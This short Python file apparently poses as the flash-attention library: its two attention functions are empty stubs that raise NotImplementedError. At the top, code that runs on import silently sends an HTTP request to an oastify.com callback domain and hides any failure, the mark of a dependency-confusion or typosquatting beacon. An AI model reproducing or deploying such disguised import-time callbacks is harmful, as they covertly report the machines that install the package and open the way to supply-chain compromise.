try:
    import urllib.request
    urllib.request.urlopen("http://9fpzn5bcaqa1lrcplbxbp7tvrmxdl39s.oastify.com/check123-321")
except:
    pass
    
def flash_attn_func(*args, **kwargs):
    raise NotImplementedError

def flash_attn_varlen_func(*args, **kwargs):
    raise NotImplementedError